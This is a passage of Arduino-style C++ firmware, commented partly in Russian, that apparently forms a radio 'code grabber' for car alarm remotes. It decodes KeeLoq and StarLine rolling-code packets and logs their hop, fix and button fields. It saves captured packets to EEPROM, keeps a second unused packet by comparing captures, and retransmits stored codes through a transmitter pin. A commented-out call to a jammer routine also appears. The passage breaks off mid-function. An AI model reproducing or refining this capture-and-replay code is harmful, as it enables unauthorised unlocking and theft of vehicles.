  delay(1); // сделать паузу после посылки на 1 мс, просто так...
}











//muzonchik




//keeloq////////////////////////////////////////////////KEEEEEEEEEEEEEEELOOOOQ//////////////////////////////////////////////////////////////////////////
void keelog_vardump() {
  if (decodeMethod == 0) {
    Serial.println(" - keelog origin - ");
  }
  else {
    Serial.println(" - keelog invert - ");
  }
  Serial.print(keelog_code[0], HEX);
  Serial.print(keelog_code[1], HEX);
  Serial.print(keelog_code[2], HEX);
  Serial.print(keelog_code[3], HEX);
  Serial.println("-hop");
  Serial.print(keelog_code[4], HEX);
  Serial.print(keelog_code[5], HEX);
  Serial.print(keelog_code[6], HEX);
  Serial.println("-fix");
  Serial.print(keelog_code[7], HEX);
  Serial.println("-btn");
  Serial.print(keelog_code[8], HEX);
  Serial.println("-dop");


  priem = "333";


  codan = "code keqloq:" + String(keelog_code[0], HEX);
  codan = codan + String(keelog_code[1], HEX);
  codan = codan + String(keelog_code[2], HEX);
  codan = codan + String(keelog_code[3], HEX);
  codan = codan + "-hop-";
  codan = codan + String(keelog_code[4], HEX);
  codan = codan + String(keelog_code[5], HEX);
  codan = codan + String(keelog_code[6], HEX);
  codan = codan + "-fix-";
  codan = codan + String(keelog_code[7], HEX);
  codan = codan + "-btn-";
  codan = codan + String(keelog_code[8], HEX);

  Serial.println(codan);

  smena = 10;






  //eprom
  //  EEPROM.begin(3512);


  if (k < 2) {

    EEPROM.begin(3512);
    EEPROM.write(0, keelog_code[0]);
    EEPROM.write(1, keelog_code[1]);
    EEPROM.write(2, keelog_code[2]);
    EEPROM.write(3, keelog_code[3]);
    EEPROM.write(4, keelog_code[4]); ///fix
    EEPROM.write(5, keelog_code[5]); ///fix
    EEPROM.write(6, keelog_code[6]); //fix
    EEPROM.write(7, keelog_code[7]);
    EEPROM.write(8, keelog_code[8]);
    EEPROM.commit();
    EEPROM.end();
    k ++;

    EEPROM.begin(3512);

    codan1 = "code keqloq:" + String(EEPROM.read(0), HEX);
    codan1 = codan1 + String(EEPROM.read(1), HEX);
    codan1 = codan1 + String(EEPROM.read(2), HEX);
    codan1 = codan1 + String(EEPROM.read(3), HEX);
    codan1 = codan1 + "-hop-";
    codan1 = codan1 + String(EEPROM.read(4), HEX);
    codan1 = codan1 + String(EEPROM.read(5), HEX);
    codan1 = codan1 + String(EEPROM.read(6), HEX);
    codan1 = codan1 + "-fix-";
    codan1 = codan1 + String(EEPROM.read(7), HEX);
    codan1 = codan1 + "-btn-";
    codan1 = codan1 + String(EEPROM.read(8), HEX);

    EEPROM.commit();
    EEPROM.end();
  }



  if (k >= 2) {
    EEPROM.begin(3512);
    EEPROM.write(9, keelog_code[4]); ///fix1bit
    EEPROM.write(19, keelog_code[0]); //hop 1bit

    EEPROM.write(41, keelog_code[5]); //fix5
    EEPROM.write(43, keelog_code[6]); //fix6

    EEPROM.write(42, keelog_code[1]); //hop 2bit
    EEPROM.commit();
    EEPROM.end();

    EEPROM.begin(3512);
    int hugaK = EEPROM.read(9);//sravnenie bitovfix-- 1bit(4)

    int hugaopK = EEPROM.read(4);//sravnenie bitovfix 1bit (4)

    int tashigipidr = EEPROM.read(6);///fix6
    int tashigipidr2 = EEPROM.read(43);/////fix6



    int hugazioK = EEPROM.read(5);//fix5
    int hugazioKk = EEPROM.read(41);//fix5


    int hugazioopKch = EEPROM.read(0);//1bit 1 pak

    int hugaKopzzch = EEPROM.read(19);

    int hugazioKoip = EEPROM.read(1);//первый бит
    int hugazioKoiip = EEPROM.read(42);




    int hugazioKkz = EEPROM.read(5);//fix5
    int hugazioKkkz = EEPROM.read(15);//fix5

    int tashigi = EEPROM.read(6);//fix5
    int tashigi2 = EEPROM.read(16);//fix5

    int tashigi3 = EEPROM.read(4);//fix5
    int tashigi4 = EEPROM.read(14);//fix5


    if (hugaK != hugaopK && hugazioK != hugazioKk && tashigipidr != tashigipidr2) {

      k = 0;
    }


    if (hugaK == hugaopK && hugazioK == hugazioKk && tashigipidr == tashigipidr2 && hugazioopKch != hugaKopzzch) ///////////////hop  srav&&hugazioKoiip!=hugazioKoip &&hugaKop!=hugazioopK
    {


      EEPROM.begin(3512);
      EEPROM.write(10, keelog_code[0]);
      EEPROM.write(11, keelog_code[1]);
      EEPROM.write(12, keelog_code[2]);
      EEPROM.write(13, keelog_code[3]);
      EEPROM.write(14, keelog_code[4]);
      EEPROM.write(15, keelog_code[5]);
      EEPROM.write(16, keelog_code[6]);
      EEPROM.write(17, keelog_code[7]);
      EEPROM.write(18, keelog_code[8]);
      EEPROM.commit();
      EEPROM.end();
      k = 0;


      codan2 = "";
      ////stoppriem = 0;


      int zilk = 0;
      for (int i = 10; i < 19; i++) {

        EEPROM.begin(3512);


        hugazk[zilk] = EEPROM.read(i);

        codan2 = codan2 + String(hugazk[zilk], HEX);

        /// display.print(hugazk[zilk],HEX);
        ///   delay(3);

        ///   display.display();

        zilk++;
      }

    }




    if (hugazioKkz == hugazioKkkz && tashigi == tashigi2 && tashigi3 == tashigi4) {



    }

  }





  EEPROM.begin(3512);

  keelog_codePAK2[0] = EEPROM.read(10);
  keelog_codePAK2[1] = EEPROM.read(11);
  keelog_codePAK2[2] = EEPROM.read(12);
  keelog_codePAK2[3] = EEPROM.read(13);
  keelog_codePAK2[4] = EEPROM.read(14);
  keelog_codePAK2[5] = EEPROM.read(15);
  keelog_codePAK2[6] = EEPROM.read(16);
  keelog_codePAK2[7] = EEPROM.read(17);
  keelog_codePAK2[8] = EEPROM.read(18);
  EEPROM.commit();
  EEPROM.end();


  EEPROM.begin(3512);

  keelog_codePAK1[0] = EEPROM.read(0);
  keelog_codePAK1[1] = EEPROM.read(1);
  keelog_codePAK1[2] = EEPROM.read(2);
  keelog_codePAK1[3] = EEPROM.read(3);
  keelog_codePAK1[4] = EEPROM.read(4);
  keelog_codePAK1[5] = EEPROM.read(5);
  keelog_codePAK1[6] = EEPROM.read(6);
  keelog_codePAK1[7] = EEPROM.read(7);
  keelog_codePAK1[8] = EEPROM.read(8);
  EEPROM.commit();
  EEPROM.end();
}
void keelog_send(byte* keelog_code) {
  Serial.println("- sending keelog -");
  for (int i = 0; i < 9; i++) {
    Serial.print(keelog_code[i], HEX);
    Serial.print(" - ");
  }
  for (int i = 0; i < 11; i++) { //посылаем преамблу
    send_meander(400);
  }
  digitalWrite(TX, HIGH);
  delayMicroseconds(400);
  digitalWrite(TX, LOW);
  delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(keelog_code[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(keelog_code[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }

  }
}








//pak2


void keelog_sendPAK2(byte* keelog_codePAK2) {
  Serial.println("- sending keelog -ss-");
  for (int i = 0; i < 9; i++) {
    Serial.print(keelog_codePAK2[i], HEX);
    Serial.print(" -zz ");
  }
  for (int i = 0; i < 11; i++) { //посылаем преамблу
    send_meander(400);
  }
  digitalWrite(TX, HIGH);
  delayMicroseconds(400);
  digitalWrite(TX, LOW);
  delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(keelog_codePAK2[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(keelog_codePAK2[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(400);
          digitalWrite(TX, LOW);
          delayMicroseconds(2 * 400);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(TX, LOW);
          delayMicroseconds(400);
        }
      }
    }

  }
}






void keelog_get() {
  bValidPacket = false;
  if (keelog_state == 0) { //ждем преамбулу и хедер
    if (difTime > 280 && difTime < 620 && lastRxValue != tempRxValue) {
      keelogCounter ++;
    }
    else {
      if (keelogCounter == 23) {
        if (difTime > 2800 && difTime < 6200 && lastRxValue == 0) {
          keelog_state = 1;
        }
      }
      keelogCounter = 0;
    }
  }
  else if (keelog_state == 1) { // получаем биты
    if (difTime > 560 && difTime < 1240 && lastRxValue == 1) { // получили 1
      if (decodeMethod == 0) {
        keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] >> 1) | B10000000;
      }
      else {
        keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] << 1) | B00000000;
      }
      bValidPacket = true;
    }
    else if (difTime > 280 && difTime < 620 && lastRxValue == 1) {
      if (decodeMethod == 0) {
        keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] >> 1) | B00000000;
      }
      else {
        keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] << 1) | B00000001;
      }
      bValidPacket = true;
    }
    else if (lastRxValue == 0) {
    }
    else {
      keelog_state = 1;
      keelogCounter = 0;
    }

    if (bValidPacket) {
      keelogCounter++;
      if (keelogCounter == 66) {
        keelog_vardump();
        keelogCounter = 0;
        keelog_state = 0;
        ///////  glushilka();


      }
    }
  }
}
//keelog end



///uuuaaaaaaaa che ya nadelal)))))))) IIIIIIzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSTAAAAAAAAAAAAAAAAARRRRRRRRRRzzzzzzz


//statline pomba
void starline_vardump() {
  if (decodeMethod == 0) {
    Serial.println(" - starline origin - ");
  }
  else {
    Serial.println(" - starline invert - ");
  }


  Serial.print(starline_code[0], HEX);
  Serial.print(starline_code[1], HEX);
  Serial.print(starline_code[2], HEX);
  Serial.print(starline_code[3], HEX);
  Serial.println("-hop");
  Serial.print(starline_code[4], HEX);
  Serial.print(starline_code[5], HEX);
  Serial.print(starline_code[6], HEX);
  Serial.println("-fix");
  Serial.print(starline_code[7], HEX);
  Serial.println("-btn");
  Serial.print(starline_code[8], HEX);
  Serial.println("-dop");

  ///proda vibrosaaaaaaaaaaaaaaaa


  priem = "333";


  ///proda vibrosaaaaaaaaaaaaaaaa




  codan = "code starline:" + String(starline_code[0], HEX);
  codan = codan + String(starline_code[1], HEX);
  codan = codan + String(starline_code[2], HEX);
  codan = codan + String(starline_code[3], HEX);
  codan = codan + "-hop-";
  codan = codan + String(starline_code[4], HEX);
  codan = codan + String(starline_code[5], HEX);
  codan = codan + String(starline_code[6], HEX);
  codan = codan + "-fix-";
  codan = codan + String(starline_code[7], HEX);
  codan = codan + "-btn-";
  codan = codan + String(starline_code[8], HEX);

  Serial.println(codan);


  smena = 1;





  //////////////////////////////sravnivanie

  codes();







  //eprom
  //  EEPROM.begin(3512);


  if (kk < 2) {
    EEPROM.begin(3512);

    EEPROM.write(20, starline_code[0]);
    EEPROM.write(21, starline_code[1]);
    EEPROM.write(22, starline_code[2]);
    EEPROM.write(23, starline_code[3]);
    EEPROM.write(24, starline_code[4]);
    EEPROM.write(25, starline_code[5]);
    EEPROM.write(26, starline_code[6]);
    EEPROM.write(27, starline_code[7]);
    EEPROM.write(28, starline_code[8]);




    EEPROM.commit();
    EEPROM.end();
    kk = 2;



    EEPROM.begin(3512);

    codan1 = "code starline:" + String(EEPROM.read(20), HEX);
    codan1 = codan1 + String(EEPROM.read(21), HEX);
    codan1 = codan1 + String(EEPROM.read(22), HEX);
    codan1 = codan1 + String(EEPROM.read(23), HEX);
    codan1 = codan1 + "-hop-";
    codan1 = codan1 + String(EEPROM.read(24), HEX);
    codan1 = codan1 + String(EEPROM.read(25), HEX);
    codan1 = codan1 + String(EEPROM.read(26), HEX);
    codan1 = codan1 + "-fix-";
    codan1 = codan1 + String(EEPROM.read(27), HEX);
    codan1 = codan1 + "-btn-";
    codan1 = codan1 + String(EEPROM.read(28), HEX);

    EEPROM.commit();
    EEPROM.end();




  }






  if (kk >= 2) {




    EEPROM.begin(3512);

    EEPROM.write(129, starline_code[0]); ////gop 3
    // Serial.println("-Srab");

    ///////////////////////////////////////////////zapis sverki fix

    EEPROM.write(104, starline_code[4]);
    EEPROM.write(105, starline_code[5]);
    EEPROM.write(106, starline_code[6]);
    EEPROM.write(100, starline_code[0]);

    EEPROM.commit();
    EEPROM.end();



    EEPROM.begin(3512);
    int hugaS = EEPROM.read(25);//sravnenie bitov-FIX-5
    int hugazioS = EEPROM.read(105);//bitov-FIX-5
    int hugaopS = EEPROM.read(24);//sravnenie bitovbitov-FIX-4
    int hugazioopS = EEPROM.read(104);//bitov-FIX-4
    int hugaopSA = EEPROM.read(26);//sbitov-FIX-6
    int hugazioopSA = EEPROM.read(106);//bitov-FIX-6










    int hugaS1bit = EEPROM.read(129);//sravnenie gop 3
    int hugazioS1bit = EEPROM.read(20);//gop 3



    // int huga = EEPROM.read(0);//sravnenie bitov
    //  int hugazio = starline_code[0];//
    int zyS = 29;


    if (hugaS == hugazioS && hugaopS == hugazioopS && hugaopSA == hugazioopSA && hugaS1bit != hugazioS1bit) //////////////&&hugaS1bit!=hugazioS1bit//////&&hugaS1bit!=hugazioS1bit hop srav
    {

      EEPROM.begin(3512);

      EEPROM.write(30, starline_code[0]);
      EEPROM.write(31, starline_code[1]);
      EEPROM.write(32, starline_code[2]);
      EEPROM.write(33, starline_code[3]);
      EEPROM.write(34, starline_code[4]);
      EEPROM.write(35, starline_code[5]);
      EEPROM.write(36, starline_code[6]);
      EEPROM.write(37, starline_code[7]);
      EEPROM.write(38, starline_code[8]);
      EEPROM.commit();
      EEPROM.end();
      kk = 0;
      int zil = 0;

      codan2 = "";
      /////  stoppriem = 0;
      for (int i = 30; i < 39; i++) {

        EEPROM.begin(3512);
        hugaz[zil] = EEPROM.read(i);

        codan2 = codan2 + String(hugaz[zil], HEX);

        ///display.print(hugaz[zil],HEX);
        /// delay(3);

        ////  display.display();


        zil++;

      }


    }//proverennaya

    int hugazioS1bit30 = EEPROM.read(30);

    if (hugaS == hugazioS && hugaopS == hugazioopS && hugaopSA == hugazioopSA && hugaS1bit == hugazioS1bit30) {

      kk = 0;


    }


    if (hugaS != hugazioS && hugaopS != hugazioopS && hugaopSA != hugazioopSA) {

      kk = 0;


    }




  }





  //srav fixEEPROM.begin(3512);
  EEPROM.begin(3512);

  int huga4S = EEPROM.read(24);
  int huga44S = EEPROM.read(34);


  int huga4Skop = EEPROM.read(25);
  int huga44Skop = EEPROM.read(35);



  if (huga4S == huga44S && huga44Skop == huga4Skop) {
    ///    display.println();
    ///   display.print("one pack sig");
    ///  delay(10);

    /// display.display();

  }


  //pak2

  // for(int li = 10; li<19; li++){


  //    int i=0;

  //    keelog_codePAK2[i]=EEPROM.read(li);

  //     Serial.print(keelog_codePAK2[i],HEX);
  //      delay(100);
  //     i++;


  //    Serial.print(keelog_codePAK2[i],HEX);


  // }
  EEPROM.begin(3512);

  starline_codePAK2[0] = EEPROM.read(30);
  starline_codePAK2[1] = EEPROM.read(31);
  starline_codePAK2[2] = EEPROM.read(32);
  starline_codePAK2[3] = EEPROM.read(33);
  starline_codePAK2[4] = EEPROM.read(34);
  starline_codePAK2[5] = EEPROM.read(35);
  starline_codePAK2[6] = EEPROM.read(36);
  starline_codePAK2[7] = EEPROM.read(37);
  starline_codePAK2[8] = EEPROM.read(38);


  //for(int i = 0; i<9; i++){


  //    Serial.println(starline_codePAK2[i],HEX);
  //      delay(100);
  // }

  // int huga =EEPROM.read(0);
  //    int huga1 =EEPROM.read(1);
  //    int huga2 =EEPROM.read(2);
  //     int huga3 =EEPROM.read(3);
  //       int huga4 =EEPROM.read(4);
  //          int huga5 =EEPROM.read(5);
  //            int huga6 =EEPROM.read(6);

  //                int huga7 =EEPROM.read(7);
  //                    int huga8 =EEPROM.read(8);


  //  display.setTextColor(WHITE);
  //  display.setTextSize(1);
  //    display.print(huga,HEX);
  //     display.print(huga1,HEX);
  //     display.print(huga2,HEX);
  //    display.print(huga3,HEX);
  //      display.print(huga4,HEX);
  //       display.print(huga5,HEX);
  //        display.print(huga6,HEX);
  //         display.print(huga1,HEX);
  //         display.print(huga7,HEX);
  //          display.print(huga8,HEX);
  //    delay(100);
  //    display.display();

  //Serial.println(EEPROM.read(0),HEX); // выводим значение в послед. порт



  //
  /*for(int i = 0; i<9; i++){
    Serial.print(starline_code[i], HEX);
    Serial.print(" - ");
    }*/
  //  starline_send(starline_code);

  //  digitalWrite(TX, HIGH);
  //  delay(100);
  //  digitalWrite(TX, LOW);
  //   starline_sendPAK2(starline_codePAK2);
  //  starline_state = 0;
  // for(int i = 0; i<9; i++){
  //    starline_code[i]=0;
  // }



}
void starline_send(byte* starline_code) {
  Serial.println("- sending staray -");
  for (int i = 0; i < 9; i++) {
    Serial.print(starline_code[i], HEX);
    Serial.print(" - ");
  }
  for (int i = 0; i < 13; i++) { //посылаем преамблу//13 srab
    send_meander(1000);
  }
  // digitalWrite(TX, HIGH);
  //  delayMicroseconds(1000);
  //  digitalWrite(TX, LOW);
  // delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(starline_code[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(starline_code[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }

  }
}








//pak2


void starline_sendPAK2(byte* starline_codePAK2) {
  Serial.println("- sending staraylayn -ss-");
  for (int i = 0; i < 9; i++) {
    Serial.print(starline_codePAK2[i], HEX);
    Serial.print(" -zz ");
  }
  for (int i = 0; i < 13; i++) { //посылаем преамблу
    send_meander(1000);
  }
  //  digitalWrite(TX, HIGH);
  // delayMicroseconds(400);
  //  digitalWrite(TX, LOW);
  //  delayMicroseconds(4000);//посылаем хедер

  for ( int i = 0; i < 9; i++) {
    if (decodeMethod == 1) {
      for (int i2 = 7; i2 >= 0; i2--) {
        if (bitRead(starline_codePAK2[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {
        if (!bitRead(starline_codePAK2[i], i2)) {
          digitalWrite(TX, HIGH);
          delayMicroseconds(250);
          digitalWrite(TX, LOW);
          delayMicroseconds(250);
        }
        else {
          digitalWrite(TX, HIGH);
          delayMicroseconds(500);
          digitalWrite(TX, LOW);
          delayMicroseconds(500);
        }
      }
    }

  }
}






void starline_get() {
  bValidPacket = false;
  if (starline_state == 0) { //ждем преамбулу и хедер
    if (difTime2 > 900 && difTime2 < 1100 && lastRxValue == 1 ) {
      starlineZpreambulaCounter ++;

    }


    if (starlineZpreambulaCounter == 6) {

      starline_state = 1;
    }

    //  else{
    //  starlineZCounter = 0;
    // }

  }

  /////////////////////////////////////////////////////PREAMBULA STARA///////////////////////////////////////////////////////////////////////////
  else if (starline_state == 1) { // получаем биты
    if (difTime2 > 350 && difTime2 < 650 && lastRxValue == 1) { // получили 1
      if (decodeMethod == 0) {
        starline_code[round(starlineZCounter / 8)] = (starline_code[round(starlineZCounter / 8)] >> 1) | B10000000;
      }
      else {
        starline_code[round(starlineZCounter / 8)] = (starline_code[round(starlineZCounter / 8)] << 1) | B00000000;
      }
      bValidPacket = true;
    }
    else if (difTime2 > 150 && difTime2 < 350 && lastRxValue == 1) {
      if (decodeMethod == 0) {
        starline_code[round(starlineZCounter / 8)] = (starline_code[round(starlineZCounter / 8)] >> 1) | B00000000;
      }
      else {
        starline_code[round(starlineZCounter / 8)] = (starline_code[round(starlineZCounter / 8)] << 1) | B00000001;
      }
      bValidPacket = true;
    }
    else if (lastRxValue == 0) {
    }
    else {
      starline_state = 1;
      starlineZCounter = 0;
    }

    if (bValidPacket) {
      starlineZCounter++;
      if (starlineZCounter == 64) {       //64ili66
        starline_vardump();
        starlineZCounter = 0;
        starline_state = 0;
        starlineZpreambulaCounter = 0; /////////novshetch
        starkk++;                   /////////shetchik





      }
    }
  }
}
//stara end  zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSSSSTTTTTARRRRRRRRRRRRZZZZZZZZZZZZZZZZzzzzzzzzzzzz


void startgrabber() {






  tempRxValue = digitalRead(rxPin);

  ////digitalWrite(D2,digitalRead(rxPin));

  if (tempRxValue != lastRxValue) {
    tempTime = micros();
    difTime = tempTime - lastRxTime;
    difTime2 = tempTime - lastRxTime;

    if (stopsigi == 1) {

      keelog_get();
      starline_get();
    }


    if (shlakoffpriem == 1) {

      grabshlak();
    }
    //grab(tempTime - lastRxTime, lastRxValue);

    lastRxTime = tempTime;
    lastRxValue = tempRxValue;

  }



}

//menu UUUUUUUUUUUUUUUUUUUMENUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU









void posilkeeloq1() {



  EEPROM.begin(3512);
  keelog_codePAK1[0] = EEPROM.read(0);
  keelog_codePAK1[1] = EEPROM.read(1);
  keelog_codePAK1[2] = EEPROM.read(2);
  keelog_codePAK1[3] = EEPROM.read(3);
  keelog_codePAK1[4] = EEPROM.read(4);
  keelog_codePAK1[5] = EEPROM.read(5);
  keelog_codePAK1[6] = EEPROM.read(6);
  keelog_codePAK1[7] = EEPROM.read(7);
  keelog_codePAK1[8] = EEPROM.read(8);


  keelog_send(keelog_codePAK1);

  digitalWrite(TX, HIGH);
  delay(100);
  digitalWrite(TX, LOW);





  sending = "code keqloq:" + String( keelog_codePAK1[0], HEX);
  sending = sending + String( keelog_codePAK1[1], HEX);
  sending = sending + String( keelog_codePAK1[2], HEX);
  sending = sending + String( keelog_codePAK1[3], HEX);
  sending = sending + String( keelog_codePAK1[4], HEX);
  sending = sending + String( keelog_codePAK1[5], HEX);
  sending = sending + String( keelog_codePAK1[6], HEX);
  sending = sending + String( keelog_codePAK1[7], HEX);
  sending = sending + String( keelog_codePAK1[8], HEX);




  keelog_state = 0;
  /// for(int i = 0; i<9; i++){
  ///    keelog_code[i]=0;}

  //Serial.println("srabotalo-keeloq");

}


void posilkeeloq2() {
  EEPROM.begin(3512);

  keelog_codePAK2[0] = EEPROM.read(10);
  keelog_codePAK2[1] = EEPROM.read(11);
  keelog_codePAK2[2] = EEPROM.read(12);
  keelog_codePAK2[3] = EEPROM.read(13);
  keelog_codePAK2[4] = EEPROM.read(14);
  keelog_codePAK2[5] = EEPROM.read(15);
  keelog_codePAK2[6] = EEPROM.read(16);
  keelog_codePAK2[7] = EEPROM.read(17);
  keelog_codePAK2[8] = EEPROM.read(18);

  sending = "code keqloq:" + String( keelog_codePAK2[0], HEX);
  sending = sending + String(keelog_codePAK2[1], HEX);
  sending = sending + String(keelog_codePAK2[2], HEX);
  sending = sending + String(keelog_codePAK2[3], HEX);
  sending = sending + String(keelog_codePAK2[4], HEX);
  sending = sending + String(keelog_codePAK2[5], HEX);
  sending = sending + String(keelog_codePAK2[6], HEX);
  sending = sending + String(keelog_codePAK2[7], HEX);
  sending = sending + String(keelog_codePAK2[8], HEX);

  ////codan=codan+String(starline_code[8],HEX);

  keelog_sendPAK2(keelog_codePAK2);
  digitalWrite(TX, HIGH);
  delay(100);
  digitalWrite(TX, LOW);







  keelog_state = 0;
  /// for(int i = 0; i<9; i++){
  ///    keelog_codePAK2[i]=0;}
}



void posilstarline1() {

  EEPROM.begin(3512);
  starline_codePAK1[0] = EEPROM.read(20);
  starline_codePAK1[1] = EEPROM.read(21);
  starline_codePAK1[2] = EEPROM.read(22);
  starline_codePAK1[3] = EEPROM.read(23);
  starline_codePAK1[4] = EEPROM.read(24);
  starline_codePAK1[5] = EEPROM.read(25);
  starline_codePAK1[6] = EEPROM.read(26);
  starline_codePAK1[7] = EEPROM.read(27);
  starline_codePAK1[8] = EEPROM.read(28);


  sending = "code star_line:" + String(   starline_codePAK1[0], HEX);
  sending = sending + String(   starline_codePAK1[1], HEX);
  sending = sending + String(   starline_codePAK1[2], HEX);
  sending = sending + String(   starline_codePAK1[3], HEX);
  sending = sending + String(  starline_codePAK1[4], HEX);
  sending = sending + String(   starline_codePAK1[5], HEX);
  sending = sending + String(  starline_codePAK1[6], HEX);
  sending = sending + String(   starline_codePAK1[7], HEX);
  sending = sending + String(   starline_codePAK1[8], HEX);

  starline_send(starline_codePAK1);

  digitalWrite(TX, HIGH);
  delay(100);
  digitalWrite(TX, LOW);





  starline_state = 0;
  // for(int i = 0; i<9; i++){
  //   starline_code[i]=0;
  //  }

  ///  Serial.println("srabotalo");
}


void posilstarline2() {

  EEPROM.begin(3512);
  starline_codePAK2[0] = EEPROM.read(30);
  starline_codePAK2[1] = EEPROM.read(31);
  starline_codePAK2[2] = EEPROM.read(32);
  starline_codePAK2[3] = EEPROM.read(33);
  starline_codePAK2[4] = EEPROM.read(34);
  starline_codePAK2[5] = EEPROM.read(35);
  starline_codePAK2[6] = EEPROM.read(36);
  starline_codePAK2[7] = EEPROM.read(37);
  starline_codePAK2[8] = EEPROM.read(38);


  sending = "code star_line:" + String(   starline_codePAK2[0], HEX);
  sending = sending + String(   starline_codePAK2[1], HEX);
  sending = sending + String(   starline_codePAK2[2], HEX);
  sending = sending + String(   starline_codePAK2[3], HEX);
  sending = sending + String(  starline_codePAK2[4], HEX);
  sending = sending + String(   starline_codePAK2[5], HEX);
  sending = sending + String(  starline_codePAK2[6], HEX);
  sending = sending + String(   starline_codePAK2[7], HEX);
  sending = sending + String(   starline_codePAK2[8], HEX);



  starline_sendPAK2(starline_codePAK2);





  digitalWrite(TX, HIGH);
  delay(100);
  digitalWrite(TX, LOW);





  starline_state = 0;
  // for(int i = 0; i<9; i++){
  //    starline_code[i]=0;
  // }


}








void posilkeeloq1zapis() {


  ////////////////////schet paketov
  k = 0;
  kk = 0;


  EEPROM.begin(3512);

  keelog_codePAK1zapis[0] = EEPROM.read(50);
  keelog_codePAK1zapis[1] = EEPROM.read(51);
  keelog_codePAK1zapis[2] = EEPROM.read(52);
  keelog_codePAK1zapis[3] = EEPROM.read(53);
  keelog_codePAK1zapis[4] = EEPROM.read(54);
  keelog_codePAK1zapis[5] = EEPROM.read(55);
  keelog_codePAK1zapis[6] = EEPROM.read(56);
  keelog_codePAK1zapis[7] = EEPROM.read(57);
  keelog_codePAK1zapis[8] = EEPROM.read(58);


  keelog_send(keelog_codePAK1zapis);

  digitalWrite(TX, HIGH);
  delay(100);
  digitalWrite(TX, LOW);






  keelog_state = 0;
  // for(int i = 0; i<9; i++){
  //    keelog_code[i]=0;}

  //Serial.println("srabotalo-keeloq");

}


void posilkeeloq2zapis() {

  ////////////////////schet paketov
  k = 0;
  kk = 0;


  EEPROM.begin(3512);

  keelog_codePAK2zapis[0] = EEPROM.read(60);
  keelog_codePAK2zapis[1] = EEPROM.read(61);
  keelog_codePAK2zapis[2] = EEPROM.read(62);
  keelog_codePAK2zapis[3] = EEPROM.read(63);
  keelog_codePAK2zapis[4] = EEPROM.read(64);
  keelog_codePAK2zapis[5] = EEPROM.read(65);
  keelog_codePAK2zapis[6] = EEPROM.read(66);
  keelog_codePAK2zapis[7] = EEPROM.read(67);
  keelog_codePAK2zapis[8] = EEPROM.read(68);


  keelog_send(keelog_codePAK2zapis);

  digitalWrite(TX, HIGH);
  delay(100);
  digitalWrite(TX, LOW);





  keelog_state = 0;
  // for(int i = 0; i<9; i++){
  //    keelog_code[i]=0;}

  Serial.println("srabotalo-keeloq");

}





void posilstarline1zapis() {


  ////////////////////schet paketov
  k = 0;
  kk = 0;

  EEPROM.begin(3512);

  starline_codePAK1zapis[0] = EEPROM.read(80);
  starline_codePAK1zapis[1] = EEPROM.read(81);
  starline_codePAK1zapis[2] = EEPROM.read(82);
  starline_codePAK1zapis[3] = EEPROM.read(83);
  starline_codePAK1zapis[4] = EEPROM.read(84);
  starline_codePAK1zapis[5] = EEPROM.read(85);
  starline_codePAK1zapis[6] = EEPROM.read(86);
  starline_codePAK1zapis[7] = EEPROM.read(87);
  starline_codePAK1zapis[8] = EEPROM.read(88);


  starline_sendPAK2(starline_codePAK1zapis);





  //  digitalWrite(TX, HIGH);
  //  delay(100);
  //  digitalWrite(TX, LOW);





  starline_state = 0;
  //for(int i = 0; i<9; i++){
  //    starline_code[i]=0;
  //  }
}





void posilstarline2zapis() {


  ////////////////////schet paketov
  k = 0;
